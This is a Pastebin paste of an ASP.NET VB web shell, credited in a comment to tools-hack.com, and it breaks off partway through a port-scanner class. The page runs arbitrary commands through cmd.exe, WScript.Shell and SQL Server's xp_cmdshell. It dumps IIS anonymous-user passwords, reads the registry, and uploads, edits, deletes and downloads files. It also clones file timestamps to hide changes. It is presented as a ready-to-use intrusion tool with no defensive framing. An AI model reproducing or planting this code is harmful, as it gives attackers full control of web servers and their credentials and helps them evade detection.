Guest User

Untitled

a guest
Aug 15th, 2018
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 66.33 KB | None | 0 0
  1. DATA HOSTED WITH ♥ BY PASTEBIN.COM - DOWNLOAD RAW - SEE ORIGINAL
  2. <%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
  3. <%@ Import Namespace="System.IO" %>
  4. <%@ import namespace="System.Diagnostics" %>
  5. <%@ import namespace="System.Threading" %>
  6. <%@ import namespace="System.Text" %>
  7. <%@ import namespace="System.Security.Cryptography" %>
  8. <%@ Import Namespace="System.Net.Sockets"%>
  9. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  10. <%@ import Namespace="System.DirectoryServices" %>
  11. <%@ import Namespace="Microsoft.Win32" %>
  12. <script language="VB" runat="server">
  13. Dim PASSWORD as string = "3ebc4fe0a80306f9ca7eb12768f93a17" ' tools-hack.com
  14. dim url,TEMP1,TEMP2,TITLE as string
  15. Function GetMD5(ByVal strToHash As String) As String
  16. Dim md5Obj As New System.Security.Cryptography.MD5CryptoServiceProvider()
  17. Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
  18. bytesToHash = md5Obj.ComputeHash(bytesToHash)
  19. Dim strResult As String = ""
  20. Dim b As Byte
  21. For Each b In bytesToHash
  22. strResult += b.ToString("x2")
  23. Next
  24. Return strResult
  25. End Function
  26. Sub Login_click(sender As Object, E As EventArgs)
  27. if GetMD5(Textbox.Text)=PASSWORD then
  28. session("rooot")=1
  29. session.Timeout=60
  30. else
  31. response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font><br>")
  32. end if
  33. End Sub
  34. 'Run w32 shell
  35. Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
  36. Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
  37.  
  38. Sub RunCmdW32(Src As Object, E As EventArgs)
  39. dim command
  40. dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  41. dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  42. If Request.Form("txtCommand1") = "" Then
  43. command = "dir c:\"
  44. else
  45. command = Request.Form("txtCommand1")
  46. End If
  47. ExecuteCommand1(command,tempFile,txtCmdFile.Text)
  48. OutputTempFile1(tempFile,fileObject)
  49. 'txtCommand1.text=""
  50. End Sub
  51. Sub ExecuteCommand1(command As String, tempFile As String,cmdfile As String)
  52. Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
  53. Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
  54. Dim FailIfExists
  55.  
  56. local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
  57. 'local_copy_of_cmd = Local_dir+"cmd.exe"
  58. 'local_copy_of_cmd= "C:\\WINDOWS\\system32\\cmd.exe"
  59. local_copy_of_cmd=cmdfile
  60. Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\kiss.exe"
  61. CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
  62. errReturn = WinExec(Target_copy_of_cmd + " /c " + command + " > " + tempFile , 10)
  63. response.write(errReturn)
  64. thread.sleep(500)
  65. End Sub
  66. Sub OutputTempFile1(tempFile,oFileSys)
  67. On Error Resume Next
  68. dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
  69. resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  70. oFile.Close
  71. Call oFileSys.DeleteFile(tempFile, True)
  72. End sub
  73. 'End w32 shell
  74. 'Run WSH shell
  75. Sub RunCmdWSH(Src As Object, E As EventArgs)
  76. dim command
  77. dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  78. dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  79. dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  80. If Request.Form("txtcommand2") = "" Then
  81. command = "dir c:\"
  82. else
  83. command = Request.Form("txtcommand2")
  84. End If
  85. ExecuteCommand2(command,tempFile)
  86. OutputTempFile2(tempFile,fileObject)
  87. txtCommand2.text=""
  88. End Sub
  89. Function ExecuteCommand2(cmd_to_execute, tempFile)
  90. Dim oScript
  91. oScript = Server.CreateObject("WSCRIPT.SHELL")
  92. Call oScript.Run ("cmd.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
  93. End function
  94. Sub OutputTempFile2(tempFile,fileObject)
  95. On Error Resume Next
  96. dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
  97. resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  98. oFile.Close
  99. Call fileObject.DeleteFile(tempFile, True)
  100. End sub
  101. 'End WSH shell
  102.  
  103. 'System infor
  104. Sub output_all_environment_variables(mode)
  105. Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  106. Dim de As DictionaryEntry
  107. For Each de In environmentVariables
  108. if mode="HTML" then
  109. response.write("<b> " +de.Key + " </b>: " + de.Value + "<br>")
  110. else
  111. if mode="text"
  112. response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
  113. end if
  114. end if
  115. Next
  116. End sub
  117. Sub output_all_Server_variables(mode)
  118. dim item
  119. for each item in request.servervariables
  120. if mode="HTML" then
  121. response.write("<b>" + item + "</b> : ")
  122. response.write(request.servervariables(item))
  123. response.write("<br>")
  124. else
  125. if mode="text"
  126. response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  127. end if
  128. end if
  129. next
  130. End sub
  131. 'End sysinfor
  132. Function Server_variables() As String
  133. dim item
  134. dim tmp As String
  135. tmp=""
  136. for each item in request.ServerVariables
  137. if request.servervariables(item) <> ""
  138. 'response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  139. tmp =+ item.ToString + " : " + request.servervariables(item).ToString + "\n\r"
  140. end if
  141. next
  142. return tmp
  143. End function
  144. 'Begin List processes
  145. Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
  146. dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  147. dim fields_split, fields_item,i
  148.  
  149. 'on error resume next
  150.  
  151. table("0","","")
  152. Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  153.  
  154. winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  155. objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
  156.  
  157. fields_split = split(Fields_to_Show,",")
  158. for each item in objProcessInfo
  159. tr
  160. Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  161. if Ubound(Fields_split)>0 then
  162. for i = 1 to ubound(fields_split)
  163. Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))
  164. next
  165. end if
  166. _tr
  167. next
  168. End function
  169. Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
  170. dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  171. dim fields_split, fields_item,i,count
  172. newline
  173. rw("Showing the first " + cstr(MaxCount) + " Entries")
  174. newline
  175. newline
  176. table("1","","")
  177. Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  178. _table
  179. winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  180. ' objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
  181. objProcessInfo = winObj.InstancesOf(Wmi_Function)
  182.  
  183. fields_split = split(Fields_to_Show,",")
  184. count = 0
  185. for each item in objProcessInfo
  186. count = Count + 1
  187. table("1","","")
  188. tr
  189. Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  190. if Ubound(Fields_split)>0 then
  191. for i = 1 to ubound(fields_split)
  192. Surround_by_TD(item.properties_.item(fields_split(i)).value)
  193. next
  194. end if
  195. _tr
  196. if count > MaxCount then exit for
  197. next
  198. End function
  199. 'End List processes
  200. 'Begin IIS_list_Anon_Name_Pass
  201. Sub IIS_list_Anon_Name_Pass()
  202. Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
  203.  
  204. IIsComputerObj = CreateObject("WbemScripting.SWbemLocator") ' Create an instance of the IIsComputer object
  205. providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
  206. nodeObj = providerObj.InstancesOf("IIsWebVirtualDirSetting") ' - IISwebServerSetting
  207.  
  208. Dim MaxCount = 20,Count = 0
  209. hr
  210. RW("only showing the first "+cstr(MaxCount) + " items")
  211. hr
  212. for each item in nodeObj
  213. response.write("<b>" + item.AppFriendlyName + " </b> - ")
  214. response.write("(" + item.AppPoolId + ") ")
  215.  
  216. response.write(item.AnonymousUserName + " : ")
  217. response.write(item.AnonymousUserPass)
  218.  
  219. response.write("<br>")
  220.  
  221. response.flush
  222. Count = Count +1
  223. If Count > MaxCount then exit for
  224. next
  225. hr
  226. End sub
  227. 'End IIS_list_Anon_Name_Pass
  228. Private Function CheckIsNumber(ByVal sSrc As String) As Boolean
  229. Dim reg As New System.Text.RegularExpressions.Regex("^0|[0-9]*[1-9][0-9]*$")
  230. If reg.IsMatch(sSrc) Then
  231. Return True
  232. Else
  233. Return False
  234. End If
  235. End Function
  236.  
  237. Public Function IISSpy() As String
  238. Dim iisinfo As String = ""
  239. Dim iisstart As String = ""
  240. Dim iisend As String = ""
  241. Dim iisstr As String = "IIS://localhost/W3SVC"
  242. Dim i As Integer = 0
  243. Try
  244. Dim mydir As New DirectoryEntry(iisstr)
  245. iisstart = "<TABLE width=100% align=center border=0><TR align=center><TD width=5%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=20%><B>App_Pool_Id</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>"
  246. For Each child As DirectoryEntry In mydir.Children
  247. If CheckIsNumber(child.Name.ToString()) Then
  248. Dim dirstr As String = child.Name.ToString()
  249. Dim tmpstr As String = ""
  250. Dim newdir As New DirectoryEntry(iisstr + "/" + dirstr)
  251. Dim newdir1 As DirectoryEntry = newdir.Children.Find("root", "IIsWebVirtualDir")
  252. i = i + 1
  253. iisinfo += "<TR><TD align=center>" + i.ToString() + "</TD>"
  254. iisinfo += "<TD align=center>" + newdir1.Properties("AnonymousUserName").Value.ToString() + "</TD>"
  255. iisinfo += "<TD align=center>" + newdir1.Properties("AppPoolId").Value.ToString() + "</TD>"
  256. iisinfo += "<TD>" + child.Properties("ServerBindings")(0) + "</TD>"
  257. iisinfo += "<TD><a href="+Request.ServerVariables("PATH_INFO")+ "?action=goto&src=" + newdir1.Properties("Path").Value.ToString() + "\>" + newdir1.Properties("Path").Value + "\</a></TD>"
  258. iisinfo += "</TR>"
  259. End If
  260. Next
  261. iisend = "</TABLE>"
  262. Catch ex As Exception
  263. Return ex.Message
  264. End Try
  265. Return iisstart + iisinfo + iisend
  266. End Function
  267.  
  268. Sub RegistryRead(Src As Object, E As EventArgs)
  269. Try
  270. Dim regkey As String = txtRegKey.Text
  271. Dim subkey As String = regkey.Substring(regkey.IndexOf("\") + 1, regkey.Length - regkey.IndexOf("\") - 1)
  272. Dim rk As RegistryKey = Nothing
  273. Dim buffer As Object
  274. Dim regstr As String = ""
  275. If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_LOCAL_MACHINE" Then
  276. rk = Registry.LocalMachine.OpenSubKey(subkey)
  277. End If
  278. If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CLASSES_ROOT" Then
  279. rk = Registry.ClassesRoot.OpenSubKey(subkey)
  280. End If
  281. If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_USER" Then
  282. rk = Registry.CurrentUser.OpenSubKey(subkey)
  283. End If
  284. If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_USERS" Then
  285. rk = Registry.Users.OpenSubKey(subkey)
  286. End If
  287. If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_CONFIG" Then
  288. rk = Registry.CurrentConfig.OpenSubKey(subkey)
  289. End If
  290. buffer = rk.GetValue(txtRegValue.Text, "NULL")
  291. dim tmpbyte As Byte = 0
  292. lblresultReg.Text = "<br>Result : " + buffer.ToString()
  293. Catch ex As Exception
  294. Response.write(ex.Message)
  295. End Try
  296. End Sub
  297.  
  298. ' Begin List Web Site Home Directory Properties
  299.  
  300.  
  301. ' End List Web Site Home Directory Properties
  302. Sub RunCMD(Src As Object, E As EventArgs)
  303. Try
  304. Dim kProcess As New Process()
  305. Dim kProcessStartInfo As New ProcessStartInfo("cmd.exe")
  306. kProcessStartInfo.UseShellExecute = False
  307. kProcessStartInfo.RedirectStandardOutput = true
  308. kProcess.StartInfo = kProcessStartInfo
  309. kProcessStartInfo.Arguments="/c " & Cmd.text
  310. kProcess.Start()
  311. Dim myStreamReader As StreamReader = kProcess.StandardOutput
  312. Dim myString As String = myStreamReader.Readtoend()
  313. kProcess.Close()
  314. result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
  315. Cmd.text=""
  316. Catch
  317. result.text="This function has disabled!"
  318. End Try
  319. End Sub
  320. Sub CloneTime(Src As Object, E As EventArgs)
  321. existdir(time1.Text)
  322. existdir(time2.Text)
  323. Dim thisfile As FileInfo =New FileInfo(time1.Text)
  324. Dim thatfile As FileInfo =New FileInfo(time2.Text)
  325. thisfile.LastWriteTime = thatfile.LastWriteTime
  326. thisfile.LastAccessTime = thatfile.LastAccessTime
  327. thisfile.CreationTime = thatfile.CreationTime
  328. response.Write("<font color=""red"">Clone Time Success!</font>")
  329. End Sub
  330. sub Editor(Src As Object, E As EventArgs)
  331. dim mywrite as new streamwriter(filepath.text,false,encoding.default)
  332. mywrite.write(content.text)
  333. mywrite.close
  334. response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
  335. end sub
  336. Sub UpLoad(Src As Object, E As EventArgs)
  337. dim filename,loadpath as string
  338. filename=path.getfilename(UpFile.value)
  339. loadpath=request.QueryString("src") & filename
  340. if file.exists(loadpath)=true then
  341. response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
  342. response.End()
  343. end if
  344. UpFile.postedfile.saveas(loadpath)
  345. response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
  346. response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
  347. End Sub
  348. Sub NewFD(Src As Object, E As EventArgs)
  349. url=request.form("src")
  350. if NewFile.Checked = True then
  351. dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
  352. mywrite.close
  353. response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
  354. else
  355. directory.createdirectory(url & NewName.Text)
  356. response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
  357. end if
  358. End Sub
  359. Sub del(a)
  360. if right(a,1)="\" then
  361. dim xdir as directoryinfo
  362. dim mydir as new DirectoryInfo(a)
  363. dim xfile as fileinfo
  364. for each xfile in mydir.getfiles()
  365. file.delete(a & xfile.name)
  366. next
  367. for each xdir in mydir.getdirectories()
  368. call del(a & xdir.name & "\")
  369. next
  370. directory.delete(a)
  371. else
  372. file.delete(a)
  373. end if
  374. End Sub
  375. Sub copydir(a,b)
  376. dim xdir as directoryinfo
  377. dim mydir as new DirectoryInfo(a)
  378. dim xfile as fileinfo
  379. for each xfile in mydir.getfiles()
  380. file.copy(a & "\" & xfile.name,b & xfile.name)
  381. next
  382. for each xdir in mydir.getdirectories()
  383. directory.createdirectory(b & path.getfilename(a & xdir.name))
  384. call copydir(a & xdir.name & "\",b & xdir.name & "\")
  385. next
  386. End Sub
  387. Sub xexistdir(temp,ow)
  388. if directory.exists(temp)=true or file.exists(temp)=true then
  389. if ow=0 then
  390. response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
  391. elseif ow=1 then
  392. del(temp)
  393. else
  394. dim d as string = session("cutboard")
  395. if right(d,1)="\" then
  396. TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  397. else
  398. TEMP2=url & second(now) & replace(path.getfilename(d),"","")
  399. end if
  400. end if
  401. end if
  402. End Sub
  403. Sub existdir(temp)
  404. if file.exists(temp)=false and directory.exists(temp)=false then
  405. response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\") &" ! Is it a CD-ROM ?');</sc" & "ript>")
  406. response.Write("<br><br><a href='javascript:history.back(1);'>Click Here Back</a>")
  407. response.End()
  408. end if
  409. End Sub
  410. Sub RunSQLCMD(Src As Object, E As EventArgs)
  411. Dim adoConn,strQuery,recResult,strResult
  412. if SqlName.Text<>"" then
  413. adoConn=Server.CreateObject("ADODB.Connection")
  414. adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
  415. If Sqlcmd.Text<>"" Then
  416. strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
  417. recResult = adoConn.Execute(strQuery)
  418. If NOT recResult.EOF Then
  419. Do While NOT recResult.EOF
  420. strResult = strResult & chr(13) & recResult(0).value
  421. recResult.MoveNext
  422. Loop
  423. End if
  424. recResult = Nothing
  425. strResult = Replace(strResult," ","&nbsp;")
  426. strResult = Replace(strResult,"<","&lt;")
  427. strResult = Replace(strResult,">","&gt;")
  428. resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  429. SqlCMD.Text=""
  430. End if
  431. adoConn.Close
  432. End if
  433. End Sub
  434. Sub RunSQLQUERY(Src As Object, E As EventArgs)
  435. Dim adoConn,strQuery,recResult,strResult
  436. if txtSqlName.Text<>"" then
  437. adoConn=Server.CreateObject("ADODB.Connection")
  438. adoConn.Open("Provider=SQLOLEDB.1;Password=" & txtSqlPass.Text & ";UID=" & txtSqlName.Text & ";Data Source = " & txtHost.Text)
  439. If txtSqlcmd.Text<>"" Then
  440. strQuery = txtSqlcmd.Text
  441. recResult = adoConn.Execute(strQuery)
  442. If NOT recResult.EOF Then
  443. Do While NOT recResult.EOF
  444. strResult = strResult & chr(13) & recResult(0).value
  445. recResult.MoveNext
  446. Loop
  447. End if
  448. recResult = Nothing
  449. strResult = Replace(strResult," ","&nbsp;")
  450. strResult = Replace(strResult,"<","&lt;")
  451. strResult = Replace(strResult,">","&gt;")
  452. lblresultSQL.Text=txtSqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  453. txtSqlCMD.Text=""
  454. End if
  455. adoConn.Close
  456. End if
  457. End Sub
  458.  
  459. Function GetStartedTime(ms)
  460. GetStartedTime=cint(ms/(1000*60*60))
  461. End function
  462. Function getIP()
  463. Dim strIPAddr as string
  464. If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
  465. strIPAddr = Request.ServerVariables("REMOTE_ADDR")
  466. ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
  467. strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
  468. ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
  469. strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
  470. Else
  471. strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  472. End If
  473. getIP = Trim(Mid(strIPAddr, 1, 30))
  474. End Function
  475. Function Getparentdir(nowdir)
  476. dim temp,k as integer
  477. temp=1
  478. k=0
  479. if len(nowdir)>4 then
  480. nowdir=left(nowdir,len(nowdir)-1)
  481. end if
  482. do while temp<>0
  483. k=temp+1
  484. temp=instr(temp,nowdir,"\")
  485. if temp =0 then
  486. exit do
  487. end if
  488. temp = temp+1
  489. loop
  490. if k<>2 then
  491. getparentdir=mid(nowdir,1,k-2)
  492. else
  493. getparentdir=nowdir
  494. end if
  495. End function
  496. Function Rename()
  497. url=request.QueryString("src")
  498. if file.exists(Getparentdir(url) & request.Form("name")) then
  499. rename=0
  500. else
  501. file.copy(url,Getparentdir(url) & request.Form("name"))
  502. del(url)
  503. rename=1
  504. end if
  505. End Function
  506. Function GetSize(temp)
  507. if temp < 1024 then
  508. GetSize=temp & " bytes"
  509. else
  510. if temp\1024 < 1024 then
  511. GetSize=temp\1024 & " KB"
  512. else
  513. if temp\1024\1024 < 1024 then
  514. GetSize=temp\1024\1024 & " MB"
  515. else
  516. GetSize=temp\1024\1024\1024 & " GB"
  517. end if
  518. end if
  519. end if
  520. End Function
  521. Sub downTheFile(thePath)
  522. dim stream
  523. stream=server.createObject("adodb.stream")
  524. stream.open
  525. stream.type=1
  526. stream.loadFromFile(thePath)
  527. response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
  528. response.addHeader("Content-Length",stream.Size)
  529. response.charset="UTF-8"
  530. response.contentType="application/octet-stream"
  531. response.binaryWrite(stream.read)
  532. response.flush
  533. stream.close
  534. stream=nothing
  535. response.End()
  536. End Sub
  537. 'H T M L S N I P P E T S
  538. public sub Newline
  539. response.write("<BR>")
  540. end sub
  541.  
  542. public sub TextNewline
  543. response.write(vbnewline)
  544. end sub
  545.  
  546. public sub rw(text_to_print) ' Response.write
  547. response.write(text_to_print)
  548. end sub
  549.  
  550. public sub rw_b(text_to_print)
  551. rw("<b>"+text_to_print+"</b>")
  552. end sub
  553.  
  554. public sub hr()
  555. rw("<hr>")
  556. end sub
  557.  
  558. public sub ul()
  559. rw("<ul>")
  560. end sub
  561.  
  562. public sub _ul()
  563. rw("</ul>")
  564. end sub
  565.  
  566. public sub table(border_size,width,height)
  567. rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
  568. end sub
  569.  
  570. public sub _table()
  571. rw("</table>")
  572. end sub
  573.  
  574. public sub tr()
  575. rw("<tr>")
  576. end sub
  577.  
  578. public sub _tr()
  579. rw("</tr>")
  580. end sub
  581.  
  582. public sub td()
  583. rw("<td>")
  584. end sub
  585.  
  586. public sub _td()
  587. rw("</td>")
  588. end sub
  589.  
  590. public sub td_span(align,name,contents)
  591. rw("<td align="+align+"><span id='"+name+"'>"+ contents + "</span></td>")
  592. end sub
  593.  
  594. Public sub td_link(align,title,link,target)
  595. rw("<td align="+align+"><a href='"+link+"' target='"+target+"'>"+title+"</a></td>")
  596. end sub
  597.  
  598. Public sub link(title,link,target)
  599. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  600. end sub
  601.  
  602. Public sub link_hr(title,link,target)
  603. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  604. hr
  605. end sub
  606.  
  607. Public sub link_newline(title,link,target)
  608. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  609. newline
  610. end sub
  611.  
  612. public sub empty_Cell(ColSpan)
  613. rw("<td colspan='"+cstr(colspan)+"'></td>")
  614. end sub
  615.  
  616. public sub empty_row(ColSpan)
  617. rw("<tr><td colspan='"+cstr(colspan)+"'></td></tr>")
  618. end sub
  619.  
  620. Public sub Create_table_row_with_supplied_colors(bgColor, fontColor, alignValue, rowItems)
  621. dim rowItem
  622.  
  623. rowItems = split(rowItems,",")
  624. response.write("<tr bgcolor="+bgcolor+">")
  625. for each rowItem in RowItems
  626. response.write("<td align="+alignValue+"><font color="+fontColor+"><b>"+rowItem +"<b></font></td>")
  627. next
  628. response.write("</tr>")
  629.  
  630. end sub
  631.  
  632. Public sub TR_TD(cellContents)
  633. response.write("<td>")
  634. response.write(cellContents)
  635. response.write("</td>")
  636. end sub
  637.  
  638.  
  639. Public sub Surround_by_TD(cellContents)
  640. response.write("<td>")
  641. response.write(cellContents)
  642. response.write("</td>")
  643. end sub
  644.  
  645. Public sub Surround_by_TD_and_Bold(cellContents)
  646. response.write("<td><b>")
  647. response.write(cellContents)
  648. response.write("</b></td>")
  649. end sub
  650.  
  651. Public sub Surround_by_TD_with_supplied_colors_and_bold(bgColor, fontColor, alignValue, cellContents)
  652. response.write("<td align="+alignValue+" bgcolor="+bgcolor+" ><font color="+fontColor+"><b>")
  653. response.write(cellContents)
  654. response.write("</b></font></td>")
  655. end sub
  656. Public sub Create_background_Div_table(title,main_cell_contents,top,left,width,height,z_index)
  657. response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  658. response.write(" <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1' height='100%'>")
  659. response.write(" <tr heigth=20>")
  660. response.write(" <td bgcolor='black' align=center><font color='white'><b>"+ title +"</b></font></td>")
  661. response.write(" </tr>")
  662. response.write(" <tr>")
  663. response.write(" <td>"+main_Cell_contents+"</td>")
  664. response.write(" </tr>")
  665. response.write(" </table>")
  666. response.write("</div>")
  667. end sub
  668.  
  669. Public sub Create_Div_open(top,left,width,height,z_index)
  670. response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  671. end sub
  672.  
  673.  
  674. Public sub Create_Div_close()
  675. response.write("</div>")
  676. end sub
  677.  
  678. public sub Create_Iframe(left, top, width, height, name,src)
  679. rw("<span style='position: absolute; left: " + left+ "; top: " +top + "'>")
  680. rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  681. rw("</span>")
  682. end sub
  683.  
  684. public sub Create_Iframe_relative(width, height, name,src)
  685. rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  686. end sub
  687.  
  688. public sub return_100_percent_table()
  689. rw("<table border width='100%' height='100%'><tr><td>sdf</td></tr></table>")
  690. end sub
  691.  
  692. public sub font_size(size)
  693. rw("<font size="+size+">")
  694. end sub
  695.  
  696. public sub end_font()
  697. rw("</font>")
  698. end sub
  699.  
  700. public sub red(contents)
  701. rw("<font color=red>"+contents+"</font>")
  702. end sub
  703.  
  704. public sub yellow(contents)
  705. rw("<font color='#FF8800'>"+contents+"</font>")
  706. end sub
  707.  
  708. public sub green(contents)
  709. rw("<font color=green>"+contents+"</font>")
  710. end sub
  711. public sub print_var(var_name, var_value,var_description)
  712. if var_description<> "" Then
  713. rw(b_(var_name)+" : " + var_value + i_(" ("+var_description+")"))
  714. else
  715. rw(b_(var_name)+" : " + var_value)
  716. end if
  717. newline
  718. end sub
  719.  
  720. ' Functions
  721.  
  722. public function br_()
  723. br_ = "<br>"
  724. end function
  725.  
  726. public function b_(contents)
  727. b_ = "<b>"+ contents + "</b>"
  728. end function
  729.  
  730. public function i_(contents)
  731. i_ = "<i>"+ contents + "</i>"
  732. end function
  733.  
  734. public function li_(contents)
  735. li_ = "<li>"+ contents + "</li>"
  736. end function
  737.  
  738. public function h1_(contents)
  739. h1_ = "<h1>"+ contents + "</h1>"
  740. end function
  741.  
  742. public function h2_(contents)
  743. h2_ = "<h2>"+ contents + "</h2>"
  744. end function
  745.  
  746. public function h3_(contents)
  747. h3_ = "<h3>"+ contents + "</h3>"
  748. end function
  749.  
  750. public function big_(contents)
  751. big_ = "<big>"+ contents + "</big>"
  752. end function
  753.  
  754. public function center_(contents)
  755. center_ = "<center>"+ cstr(contents) + "</center>"
  756. end function
  757.  
  758.  
  759. public function td_force_width_(width)
  760. td_force_width_ = "<br><img src='' height=0 width=" + cstr(width) + " border=0>"
  761. end function
  762.  
  763.  
  764. public function red_(contents)
  765. red_ = "<font color=red>"+contents+"</font>"
  766. end function
  767.  
  768. public function yellow_(contents)
  769. yellow_ = "<font color='#FF8800'>"+contents+"</font>"
  770. end function
  771.  
  772. public function green_(contents)
  773. green_ = "<font color=green>"+contents+"</font>"
  774. end function
  775.  
  776. Public function link_(title,link,target)
  777. link_ = "<a href='"+link+"' target='"+target+"'>"+title+"</a>"
  778. end function
  779. 'End HTML SNIPPETS
  780.  
  781. 'Begin Scanner
  782. Public Class Scanner
  783. Public Ips As New ArrayList()
  784. Public ports As New ArrayList()
  785. Public succMsg As New StringBuilder()
  786. Public ret As ListBox
  787. Public errMsg As String = ""
  788. Public Timeout As Integer = 3000
  789. Public Sub start()
  790. Dim thread As New Thread(New ThreadStart(AddressOf Me.run))
  791. thread.Start()
  792. thread = Nothing
  793. End Sub
  794.  
  795. Public Sub run()
  796. ret.Items.Clear()
  797. For Each ip As String In Ips
  798. For Each port As String In ports
